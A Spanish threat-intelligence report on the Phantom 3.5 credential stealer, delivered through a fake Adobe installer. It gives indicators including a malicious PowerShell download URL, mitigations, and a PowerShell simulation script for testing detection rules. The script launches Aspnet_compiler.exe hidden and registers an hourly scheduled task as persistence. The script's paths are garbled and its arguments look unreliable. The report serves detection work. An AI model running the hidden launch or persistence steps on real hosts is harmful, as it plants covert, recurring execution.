SOC Prime Bias: Medio

18 Dec 2025 18:42 UTC

Phantom 3.5 – malware para robo de credenciales entregado a través de un instalador falso de Adobe

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Phantom 3.5 – malware para robo de credenciales entregado a través de un instalador falso de Adobe
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Phantom 3.5 es un malware que roba credenciales distribuido a través de un instalador falso de Adobe. Una vez ejecutado, el instalador descarga un script de PowerShell que baja un DLL .NET ofuscado (BLACKHAWK.dll) e inyecta la carga final en Aspnet_compiler.exe para ejecutarse en un contexto de proceso confiable.

Investigación

Los investigadores detonaron el instalador falso en un entorno aislado y capturaron la ubicación del descargador (positivepay-messages.com/file/floor.ps1). Decodificaron el script protegido con Base64/RC4, identificaron el DLL .NET recuperado, y confirmaron la inyección en Aspnet_compiler.exe utilizando herramientas como hollows_hunter y ProcDump. El análisis indica que el DLL incluye medidas anti-análisis, técnicas de Heaven’s Gate y múltiples canales de exfiltración, incluyendo SMTP, FTP, Telegram y Discord.

Mitigación

Restringir o bloquear la ejecución de scripts de PowerShell no firmados, prevenir la carga de DLL no confiables, y monitorizar la creación anormal de procesos Aspnet_compiler.exe. Aplicar filtrado de URL para denegar el acceso al dominio malicioso y sus rutas. Asegurar que los controles en los endpoints puedan detectar patrones de inyección de procesos y comportamientos comunes de credential-stealers.

Respuesta

Activar alertas en conexiones salientes a positivepay-messages.com, artefactos de memoria o módulo relacionados con BLACKHAWK.dll, y evidencia de inyección de código en Aspnet_compiler.exe. Cuarentenar el host afectado, adquirir imágenes de memoria, y realizar un examen forense completo para erradicar el DLL malicioso y las cargas asociadas.

Flujo de Ataque

Ejecución de Simulación

Requisito previo: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque & Comandos:
    El adversario ha obtenido la carga de Phantom 3.5 y desea ejecutarla en memoria para evadir las defensas basadas en disco. Aprovechan Aspnet_compiler.exe, un binario confiable de Windows, para cargar el ensamblado malicioso gestionado a través del argumento Invoke-ManagedAssembly . Esto hace que el proceso del compilador se inicie, inyecte la carga en el espacio del proceso actual, y persista creando una tarea programada que ejecuta repetidamente el mismo comando.

    1. Preparar el ensamblado gestionado malicioso (phantom_payload.dll) en el host objetivo.

    2. Ejecutar la inyección usando Aspnet_compiler.exe:

       $maliciousDll = "C:Tempphantom_payload.dll"
       $cmd = "`"$env:WINDIRMicrosoft.NETFramework64v4.0.30319Aspnet_compiler.exe`" -p `"$maliciousDll`" -c `Invoke-ManagedAssembly`"
       Start-Process -FilePath $cmd -WindowStyle Hidden
    3. Crear persistencia (opcional) registrando una tarea programada que vuelva a ejecutar el mismo comando cada hora.

  • Script de Prueba de Regresión: El script a continuación reproduce los pasos anteriores de manera autónoma y repetible.

    <#
    .SYNOPSIS
        Simula la inyección de proceso de Phantom 3.5 usando Aspnet_compiler.exe.
    .DESCRIPTION
        Copia un DLL malicioso ficticio a una ubicación conocida, luego lanza Aspnet_compiler.exe
        con el flag `Invoke-ManagedAssembly` para generar el evento de creación de proceso exacto
        que la regla de detección observa.
    #>
    
    # --- Preparación -----------------------------------------------------------
    $dllPath = "$env:TEMPphantom_payload.dll"
    # Crea un pequeño DLL ficticio (sustituto de la carga útil real)
    Set-Content -Path $dllPath -Value ([byte[]](0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00)) -Encoding Byte
    
    # --- Ejecución -------------------------------------------------------------
    $aspnetPath = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319Aspnet_compiler.exe"
    if (-Not (Test-Path $aspnetPath)) {
        Write-Error "Aspnet_compiler.exe no encontrado en la ubicación esperada."
        exit 1
    }
    
    $arguments = "-p `"$dllPath`" -c `Invoke-ManagedAssembly`"
    Write-Host "Lanzando Aspnet_compiler.exe con argumentos maliciosos..."
    Start-Process -FilePath $aspnetPath -ArgumentList $arguments -WindowStyle Hidden -PassThru
    
    # --- Persistencia Opcional ----------------------------------------------------
    # Registra una tarea programada que repite la inyección cada hora
    $taskName = "PhantomInject"
    $action = New-ScheduledTaskAction -Execute $aspnetPath -Argument $arguments
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration ([TimeSpan]::MaxValue)
    Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -RunLevel Highest -Force
    
    Write-Host "Simulación completa. Verifica el SIEM para la alerta generada."
  • Comandos de Limpieza: Eliminar el DLL ficticio, la tarea programada, y cualquier proceso restante.

    # Eliminar el DLL ficticio
    Remove-Item -Path "$env:TEMPphantom_payload.dll" -Force -ErrorAction SilentlyContinue
    
    # Desregistrar la tarea programada
    Unregister-ScheduledTask -TaskName "PhantomInject" -Confirm:$false -ErrorAction SilentlyContinue
    
    # Terminar cualquier proceso Aspnet_compiler.exe iniciado por la prueba
    Get-Process -Name "Aspnet_compiler" -ErrorAction SilentlyContinue | Stop-Process -Force